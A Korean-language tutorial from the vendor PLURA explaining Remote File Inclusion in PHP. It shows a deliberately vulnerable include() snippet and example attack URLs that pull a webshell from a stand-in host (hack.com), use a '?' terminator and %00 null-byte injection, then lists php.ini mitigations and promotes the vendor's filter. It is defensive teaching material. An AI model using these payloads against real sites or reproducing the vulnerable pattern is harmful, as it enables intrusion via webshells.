개요
RFI(Remote File Inclusion) 취약점을 이용한 공격은 공격자가 악성 스크립트를 웹서버에 전달하여 해당 페이지를 통하여 전달한 악성 코드가 실행되도록 하는 것입니다.
쉽게 말해서 웹 어플리케이션에 공격자 자신의 코드를 원격으로 삽입 가능하다는 것입니다.
공격
◆ [URL 공격]
RFI 취약점을 이해하기 위해서는 먼저 PHP의 include 함수에 대해 알고 있어야 한다.
Include() 함수는 주로 모든 페이지에 포함될 표준 헤더 및 메뉴들을 파일로 만들어서 포함할 때 사용된다.
함수 내에서 include 에 의해 파일 호출이 발생한다면, 호출된 파일 안의 모든 코드가 그 함수에서 정의된 것처럼 동작한다.
◆ [include()사용 방법]
Include(‘http://naver.com’) : 네이버 페이지를 현제 페이지에서 호출한다.
Include($dir) : $dir변수의 값을 현제 페이지에서 호출한다.
Include($dir.’.php’) : 변수를 호출할 때 변수뒤에 .php 를 붙인 상태로 호출한다.
아래 코드는 RFI 취약점이 존재하는 코드입니다.
<?php
$color=’blue’;
if(isset($_GET[‘COLOR’])) //COLOR=http://hack.com/bad.php?
$color=$_GET[‘COLOR’]; //$color=http://hack.com/bad.php? 로 변수가 설정
include($color.’.php’); //include(“http://hack.com/bad.php?”.’.php’);
?>
//최종적으로 http://hack.com/bad.php?.php 가 되고 이 값에서 .php는 변수가 //사용하지 않는 변수이기때문에 무시되고 완전한 형태의 http://hack.com/bad.php 가 삽입된다.
http://www.plura.io/color.php?COLOR=http://hack.com/hack.php
$color 변수에 URL 삽입을 시도하지만 실패로 나타납니다.
이때 오류 구문을 보면 hack.php.php 의 형태로 변하게 된다.
http://www.plura.io/color.php?COLOR=http://hack.com/webshell.txt?
종단문자(?)를 사용하여 원격지의 파일을 포함시킵니다.
http://www.plura.io/color.php?COLOR=C:\ftp\upload\exploit
공격 전에 미리 업로드한 파일을 호출하여 exploit.php 파일로 만들어 RFI 공격을 실행할 수 있습니다.
http://www.plura.io/color.php?COLOR=C:\notes.txt%00
NULL Meta 문자(%00)를 삽입하여 .php 확장자를 제거하고 다른 파일로 접근이 가능하게 만든다.
대응방안
◆ PHP.ini 파일 수정
PHP 환경 설정 파일 수정으로 원격지 파일을 열지 못하게 설정할 수 있습니다.
[php.ini]
allow_url_fopen = OFF
allow_url_include = OFF Include
◆ 에러 출력 수정
display_errors = OFF
◆ PLURA V5 RFI 필터 사용
PLURA V5 RFI 필터를 사용 등록하시면 RFI 공격이 발생할 때 해당 공격자의 IP 를 신속히 차단하게 됩니다.
필터 등록은 아래의 순서로 진행하시면 됩니다.
www.plura.io > login > 실시간방어 > 방어관리 > 방어등록 > 웹로그방어 > 방어상태 > ON(활성화)